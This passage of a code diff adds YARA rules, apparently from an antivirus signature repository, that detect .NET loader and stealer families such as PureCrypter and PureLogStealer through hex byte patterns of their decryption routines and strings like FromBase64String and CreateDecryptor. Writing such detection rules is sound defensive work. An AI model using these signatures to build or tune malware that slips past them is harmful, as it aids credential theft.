0a 02 28 ?? 00 00 06 28 ?? 01 00 0a 0a 2b 00 06 2a } //6 + $a_03_1 = {02 07 02 07 91 07 03 28 ?? 01 00 06 9c 07 17 d6 0b 07 06 31 eb 2a } //5 + $a_03_2 = {02 03 04 28 ?? 01 00 06 00 02 0a 2b 00 06 2a } //4 + condition: + ((#a_03_0 & 1)*6+(#a_03_1 & 1)*5+(#a_03_2 & 1)*4) >=15 + +} \ No newline at end of file diff --git a/Trojan/BAT/PsDownloader/Trojan_BAT_PsDownloader_PSTR_MTB.yar b/Trojan/BAT/PsDownloader/Trojan_BAT_PsDownloader_PSTR_MTB.yar deleted file mode 100644 index 4ba836ffd5..0000000000 --- a/Trojan/BAT/PsDownloader/Trojan_BAT_PsDownloader_PSTR_MTB.yar +++ /dev/null @@ -1,11 +0,0 @@ - -rule Trojan_BAT_PsDownloader_PSTR_MTB{ - meta: - description = "Trojan:BAT/PsDownloader.PSTR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " - - strings : - $a_03_0 = {28 06 00 00 0a 0a 06 6f ?? 00 00 0a 16 9a 0b 7e 08 00 00 0a 0c 06 07 6f ?? 00 00 0a 0d 09 73 0a 00 00 0a 13 04 11 04 6f ?? 00 00 0a 0c de 0c } //2 - condition: - ((#a_03_0 & 1)*2) >=2 - -} \ No newline at end of file diff --git a/Trojan/BAT/PureCrypter/Trojan_BAT_PureCrypter_ABAB_MTB.yar b/Trojan/BAT/PureCrypter/Trojan_BAT_PureCrypter_ABAB_MTB.yar new file mode 100644 index 0000000000..b9555ba220 --- /dev/null +++ b/Trojan/BAT/PureCrypter/Trojan_BAT_PureCrypter_ABAB_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_PureCrypter_ABAB_MTB{ + meta: + description = "Trojan:BAT/PureCrypter.ABAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {0a 0c 08 06 28 ?? 00 00 0a 07 28 ?? 00 00 0a 6f ?? 00 00 0a 0d 73 ?? 00 00 0a 13 04 11 04 09 17 73 ?? 00 00 0a 13 05 02 28 ?? 00 00 06 75 ?? 00 00 1b 13 06 11 05 11 06 16 11 06 8e 69 6f ?? 00 00 0a 11 04 6f ?? 00 00 0a 13 07 dd } //5 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureCrypter/Trojan_BAT_PureCrypter_AKWA_MTB.yar b/Trojan/BAT/PureCrypter/Trojan_BAT_PureCrypter_AKWA_MTB.yar new file mode 100644 index 0000000000..6f145238b0 --- /dev/null +++ b/Trojan/BAT/PureCrypter/Trojan_BAT_PureCrypter_AKWA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_PureCrypter_AKWA_MTB{ + meta: + description = "Trojan:BAT/PureCrypter.AKWA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {0a 25 07 6f ?? 00 00 0a 25 08 6f ?? 00 00 0a 25 18 6f ?? 00 00 0a 25 17 6f ?? 00 00 0a 0d 09 6f ?? 00 00 0a 13 04 11 04 06 16 06 8e 69 6f ?? 00 00 0a 13 05 03 72 ?? 00 00 70 11 05 6f ?? 00 00 06 17 13 06 dd } //5 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureCrypter/Trojan_BAT_PureCrypter_ATQA_MTB.yar b/Trojan/BAT/PureCrypter/Trojan_BAT_PureCrypter_ATQA_MTB.yar new file mode 100644 index 0000000000..79561c35b3 --- /dev/null +++ b/Trojan/BAT/PureCrypter/Trojan_BAT_PureCrypter_ATQA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_PureCrypter_ATQA_MTB{ + meta: + description = "Trojan:BAT/PureCrypter.ATQA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {06 13 01 11 01 16 11 01 8e 69 6f ?? 00 00 0a 13 03 20 00 00 00 00 7e ?? 00 00 04 7b ?? 00 00 04 3a ?? ff ff ff 26 20 01 00 00 00 38 ?? ff ff ff 11 04 72 93 00 00 70 28 ?? 00 00 0a 6f ?? 00 00 0a 20 02 00 00 00 7e ?? 00 00 04 7b ?? 00 00 04 3a ?? ff ff ff 26 20 02 00 00 00 38 } //5 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureCrypter/Trojan_BAT_PureCrypter_AUQA_MTB.yar b/Trojan/BAT/PureCrypter/Trojan_BAT_PureCrypter_AUQA_MTB.yar new file mode 100644 index 0000000000..b7e3f40c57 --- /dev/null +++ b/Trojan/BAT/PureCrypter/Trojan_BAT_PureCrypter_AUQA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_PureCrypter_AUQA_MTB{ + meta: + description = "Trojan:BAT/PureCrypter.AUQA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {1a 25 2c 11 8d ?? 00 00 01 0b 06 07 16 07 8e 69 6f ?? 00 00 0a 26 16 2d f1 07 16 28 ?? 00 00 0a 0c 06 16 73 ?? 00 00 0a 0d 2b 2e 8d ?? 00 00 01 2b 2a 16 2b 2b 1a 2c 02 2b 14 2b 28 2b 2a 2b 2b 11 05 08 11 05 59 6f ?? 00 00 0a 58 13 05 11 05 08 32 e7 11 04 13 06 de 2d 08 2b cf 13 04 2b d2 13 05 2b d1 11 05 2b d4 09 2b d3 11 04 2b d1 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureCrypter/Trojan_BAT_PureCrypter_BAA_MTB.yar b/Trojan/BAT/PureCrypter/Trojan_BAT_PureCrypter_BAA_MTB.yar new file mode 100644 index 0000000000..16003f017c --- /dev/null +++ b/Trojan/BAT/PureCrypter/Trojan_BAT_PureCrypter_BAA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_PureCrypter_BAA_MTB{ + meta: + description = "Trojan:BAT/PureCrypter.BAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {13 01 38 1e 00 00 00 11 01 16 ?? ?? 00 00 0a 13 02 38 00 00 00 00 11 00 16 73 15 00 00 0a 13 03 38 11 00 00 00 11 00 11 01 16 1a ?? ?? 00 00 0a 26 38 d1 ff ff ff 00 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureCrypter/Trojan_BAT_PureCrypter_SK_MTB.yar b/Trojan/BAT/PureCrypter/Trojan_BAT_PureCrypter_SK_MTB.yar new file mode 100644 index 0000000000..d079e4c94a --- /dev/null +++ b/Trojan/BAT/PureCrypter/Trojan_BAT_PureCrypter_SK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_PureCrypter_SK_MTB{ + meta: + description = "Trojan:BAT/PureCrypter.SK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {11 05 72 4d 00 00 70 73 06 00 00 0a 6f 07 00 00 0a 6f 08 00 00 0a 13 06 73 04 00 00 0a 13 07 11 06 11 07 6f 09 00 00 0a 11 07 6f 0a 00 00 0a 13 04 dd 0f 00 00 00 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureCrypter/Trojan_BAT_PureCrypter_SVCB_MTB.yar b/Trojan/BAT/PureCrypter/Trojan_BAT_PureCrypter_SVCB_MTB.yar new file mode 100644 index 0000000000..e111d1d5ea --- /dev/null +++ b/Trojan/BAT/PureCrypter/Trojan_BAT_PureCrypter_SVCB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_PureCrypter_SVCB_MTB{ + meta: + description = "Trojan:BAT/PureCrypter.SVCB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 00 " + + strings : + $a_03_0 = {38 5a 00 00 00 11 04 6f ?? 00 00 0a 02 16 02 8e 69 6f ?? 00 00 0a 13 03 20 00 00 00 00 7e ?? 00 00 04 7b ?? 00 00 04 3a c3 ff ff ff 26 } //4 + condition: + ((#a_03_0 & 1)*4) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureCrypter/Trojan_BAT_PureCrypter_ZNV_MTB.yar b/Trojan/BAT/PureCrypter/Trojan_BAT_PureCrypter_ZNV_MTB.yar new file mode 100644 index 0000000000..9de9c2a452 --- /dev/null +++ b/Trojan/BAT/PureCrypter/Trojan_BAT_PureCrypter_ZNV_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_PureCrypter_ZNV_MTB{ + meta: + description = "Trojan:BAT/PureCrypter.ZNV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 00 " + + strings : + $a_03_0 = {0a 06 20 00 01 00 00 6f ?? 00 00 0a 06 20 ?? 76 8f 37 28 ?? 00 00 06 28 ?? 00 00 0a 6f ?? 00 00 0a 06 20 ?? 76 8f 37 28 ?? 00 00 06 28 ?? 00 00 0a 6f ?? 00 00 0a 06 06 6f ?? 00 00 0a 06 6f ?? 00 00 0a 6f ?? 00 00 0a 0b 02 73 ?? 00 00 0a 0c 73 ?? 00 00 0a 0d 08 07 16 73 ?? 00 00 0a 13 04 } //10 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=12 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_ACQA_MTB.yar b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_ACQA_MTB.yar new file mode 100644 index 0000000000..da184e718c --- /dev/null +++ b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_ACQA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_PureLogStealer_ACQA_MTB{ + meta: + description = "Trojan:BAT/PureLogStealer.ACQA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_03_0 = {0a 0c 08 06 6f ?? 00 00 0a 08 07 6f ?? 00 00 0a 73 ?? 00 00 0a 0d 09 08 6f ?? 00 00 0a 17 73 ?? 00 00 0a 13 04 11 04 02 16 02 8e 69 6f ?? 00 00 0a 11 04 6f ?? 00 00 0a 09 6f ?? 00 00 0a 13 05 de 20 } //3 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*3+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_ADWA_MTB.yar b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_ADWA_MTB.yar new file mode 100644 index 0000000000..f82644ffc2 --- /dev/null +++ b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_ADWA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_PureLogStealer_ADWA_MTB{ + meta: + description = "Trojan:BAT/PureLogStealer.ADWA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {0a 13 04 11 04 08 6f ?? 00 00 0a 11 04 09 6f ?? 00 00 0a 11 04 6f ?? 00 00 0a 13 05 72 ?? ?? 00 70 13 06 11 05 06 16 06 8e 69 6f ?? 00 00 0a 13 07 11 07 03 11 06 28 ?? 00 00 06 de 0c } //5 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AETA_MTB.yar b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AETA_MTB.yar new file mode 100644 index 0000000000..f54557d690 --- /dev/null +++ b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AETA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_PureLogStealer_AETA_MTB{ + meta: + description = "Trojan:BAT/PureLogStealer.AETA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0a 0c 02 08 28 ?? 00 00 06 0d 09 8d ?? 00 00 01 13 04 08 16 73 ?? 00 00 0a 13 05 02 11 05 11 04 16 09 28 ?? 00 00 06 dd 0f 00 00 00 11 05 39 07 00 00 00 11 05 6f ?? 00 00 0a dc 03 72 c7 00 00 70 11 04 6f ?? 00 00 06 17 0b dd } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AEWA_MTB.yar b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AEWA_MTB.yar new file mode 100644 index 0000000000..2aabdea41f --- /dev/null +++ b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AEWA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_PureLogStealer_AEWA_MTB{ + meta: + description = "Trojan:BAT/PureLogStealer.AEWA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {0a 13 04 11 04 08 6f ?? 00 00 0a 11 04 09 6f ?? 00 00 0a 11 04 6f ?? 00 00 0a 13 05 72 ?? ?? 00 70 13 06 11 05 06 16 06 8e 69 6f ?? 00 00 0a 13 07 11 06 11 07 03 28 ?? 00 00 06 de 0c } //5 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AFRA_MTB.yar b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AFRA_MTB.yar new file mode 100644 index 0000000000..363bc89278 --- /dev/null +++ b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AFRA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_PureLogStealer_AFRA_MTB{ + meta: + description = "Trojan:BAT/PureLogStealer.AFRA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {09 06 8e 69 40 02 00 00 00 16 0d 08 11 04 07 11 04 91 06 09 93 7e ?? ?? 00 04 28 ?? ?? 00 06 61 d2 9c 09 17 58 0d 11 04 17 58 13 04 11 04 07 8e 69 3f } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AFSA_MTB.yar b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AFSA_MTB.yar new file mode 100644 index 0000000000..e2e7dd1405 --- /dev/null +++ b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AFSA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_PureLogStealer_AFSA_MTB{ + meta: + description = "Trojan:BAT/PureLogStealer.AFSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {0a 0b 14 0c 73 ?? 00 00 0a 0d 73 ?? 00 00 0a 13 04 11 04 09 06 07 6f ?? 00 00 0a 17 73 ?? 00 00 0a 13 05 11 05 03 16 03 8e 69 6f ?? 00 00 0a 11 05 6f ?? 00 00 0a 11 04 6f ?? 00 00 0a 13 06 11 06 8e 69 28 ?? 00 00 06 0c 11 06 16 08 16 11 06 8e 69 28 ?? 00 00 0a 08 13 07 dd } //5 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AHVA_MTB.yar b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AHVA_MTB.yar new file mode 100644 index 0000000000..e3dc3980dc --- /dev/null +++ b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AHVA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_PureLogStealer_AHVA_MTB{ + meta: + description = "Trojan:BAT/PureLogStealer.AHVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {0a 0c 08 02 7b ?? 00 00 04 6f ?? 00 00 0a 08 02 7b ?? 00 00 04 6f ?? 00 00 0a 08 6f ?? 00 00 0a 0d 73 ?? 00 00 0a 13 04 11 04 09 17 73 ?? 00 00 0a 13 05 11 05 06 16 06 8e 69 6f ?? 00 00 0a 11 05 6f ?? 00 00 0a 11 04 6f ?? 00 00 0a 13 06 03 72 ?? ?? 00 70 11 06 6f ?? 00 00 06 05 72 ?? ?? 00 70 6f ?? 00 00 0a 17 0b dd } //5 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AIUA_MTB.yar b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AIUA_MTB.yar new file mode 100644 index 0000000000..c743c035f3 --- /dev/null +++ b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AIUA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_PureLogStealer_AIUA_MTB{ + meta: + description = "Trojan:BAT/PureLogStealer.AIUA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {02 09 11 04 6f ?? 00 00 0a 13 05 07 08 16 12 05 28 ?? 00 00 0a 28 ?? 00 00 0a 07 08 17 12 05 28 ?? 00 00 0a 28 ?? 00 00 0a 07 08 18 12 05 28 ?? 00 00 0a 28 ?? 00 00 0a 08 17 58 0c 11 04 17 58 13 04 11 04 02 6f ?? 00 00 0a 2f 09 03 6f ?? 00 00 0a 04 32 ab } //5 + $a_03_1 = {03 07 11 06 16 28 ?? 00 00 0a 6f ?? 00 00 0a 03 07 11 06 17 28 ?? 00 00 0a 6f ?? 00 00 0a 03 07 11 06 18 28 ?? 00 00 0a 6f ?? 00 00 0a 2b 26 } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AJVA_MTB.yar b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AJVA_MTB.yar new file mode 100644 index 0000000000..0afc9624fa --- /dev/null +++ b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AJVA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_PureLogStealer_AJVA_MTB{ + meta: + description = "Trojan:BAT/PureLogStealer.AJVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {0a 13 04 11 04 09 06 07 6f ?? ?? 00 0a 17 73 ?? ?? 00 0a 13 05 16 2d 14 2b 38 2b 3a 16 02 8e 69 6f ?? 00 00 0a 11 05 6f ?? ?? 00 0a 11 04 6f ?? ?? 00 0a 13 06 11 06 8e 69 28 ?? ?? 00 06 0c 11 06 16 08 16 11 06 8e 69 28 ?? ?? 00 0a 08 13 07 de 2c 11 05 2b c4 02 2b c3 } //5 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_ALXA_MTB.yar b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_ALXA_MTB.yar new file mode 100644 index 0000000000..610c3b7671 --- /dev/null +++ b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_ALXA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_PureLogStealer_ALXA_MTB{ + meta: + description = "Trojan:BAT/PureLogStealer.ALXA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {72 01 00 00 70 28 ?? 00 00 0a 13 01 38 ?? ?? 00 00 11 07 2a 00 11 02 20 00 01 00 00 6f ?? 00 00 0a 38 00 00 00 00 11 02 11 00 6f ?? 00 00 0a 38 00 00 00 00 11 02 11 01 6f ?? 00 00 0a 38 00 00 00 00 11 02 6f ?? 00 00 0a 13 03 38 00 00 00 00 00 02 73 ?? 00 00 0a 13 04 38 00 00 00 00 00 11 04 11 03 16 73 ?? 00 00 0a 13 05 38 00 00 00 00 00 73 ?? 00 00 0a 13 06 38 00 00 00 00 00 11 05 11 06 6f ?? 00 00 0a 38 00 00 00 00 11 06 6f ?? 00 00 0a 13 07 38 00 00 00 00 dd } //5 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AMQA_MTB.yar b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AMQA_MTB.yar new file mode 100644 index 0000000000..739bd64fe7 --- /dev/null +++ b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AMQA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_PureLogStealer_AMQA_MTB{ + meta: + description = "Trojan:BAT/PureLogStealer.AMQA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {1a 2c 07 1a 8d ?? 00 00 01 0b 06 07 16 1a 6f ?? 00 00 0a 26 16 2d 0b 07 16 28 ?? 00 00 0a 19 2c f2 0c 06 16 73 ?? 00 00 0a 0d 2b 1d 1d 2c 10 8d ?? 00 00 01 2b 16 2b 18 2b 19 16 2b 1a 2b 1b 26 11 04 13 05 1e 2c f9 de 2c 08 2b e0 13 04 2b e6 09 2b e5 11 04 2b e3 08 2b e3 6f ?? 00 00 0a 2b de } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AMVA_MTB.yar b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AMVA_MTB.yar new file mode 100644 index 0000000000..af518767e3 --- /dev/null +++ b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AMVA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_PureLogStealer_AMVA_MTB{ + meta: + description = "Trojan:BAT/PureLogStealer.AMVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {0a 0c 08 02 7b ?? 00 00 04 6f ?? 00 00 0a 08 02 7b ?? 00 00 04 6f ?? 00 00 0a 08 6f ?? 00 00 0a 0d 73 ?? 00 00 0a 13 04 11 04 09 17 73 ?? 00 00 0a 13 05 2b 32 2b 34 16 2b 34 8e 69 2b 33 2b 38 2b 3a 2b 3f 2b 41 2b 46 72 ?? ?? 00 70 11 06 03 28 ?? 00 00 06 05 72 ?? ?? 00 70 6f ?? 00 00 0a 17 0b dd ?? 00 00 00 11 05 2b ca 06 2b c9 06 2b c9 6f ?? 00 00 0a 2b c6 11 05 2b c4 6f ?? 00 00 0a 2b bf 11 04 2b bd 6f ?? 00 00 0a 2b b8 13 06 2b b6 } //5 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AMXA_MTB.yar b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AMXA_MTB.yar new file mode 100644 index 0000000000..d0f4f97826 --- /dev/null +++ b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AMXA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_PureLogStealer_AMXA_MTB{ + meta: + description = "Trojan:BAT/PureLogStealer.AMXA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {72 01 00 00 70 28 ?? 00 00 0a 13 01 38 ?? 00 00 00 11 07 2a 28 ?? 00 00 0a 13 02 38 00 00 00 00 00 11 02 20 00 01 00 00 6f ?? 00 00 0a 38 00 00 00 00 11 02 11 00 6f ?? 00 00 0a 38 ?? 00 00 00 11 02 6f ?? 00 00 0a 13 03 38 ?? 00 00 00 11 02 11 01 6f ?? 00 00 0a 38 ?? ff ff ff 00 02 73 ?? 00 00 0a 13 04 38 00 00 00 00 00 11 04 11 03 16 73 ?? 00 00 0a 13 05 38 00 00 00 00 00 73 ?? 00 00 0a 13 06 38 00 00 00 00 00 11 05 11 06 6f ?? 00 00 0a 38 00 00 00 00 11 06 6f ?? 00 00 0a 13 07 38 00 00 00 00 dd } //5 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_ANQA_MTB.yar b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_ANQA_MTB.yar new file mode 100644 index 0000000000..7b3039fe35 --- /dev/null +++ b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_ANQA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_PureLogStealer_ANQA_MTB{ + meta: + description = "Trojan:BAT/PureLogStealer.ANQA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {0a 0a 06 72 61 00 00 70 28 ?? 00 00 0a 6f ?? 00 00 0a 06 72 93 00 00 70 28 ?? 00 00 0a 6f ?? 00 00 0a 06 6f ?? 00 00 0a 03 16 03 8e 69 6f ?? 00 00 0a 0b dd 0d } //5 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_ANRA_MTB.yar 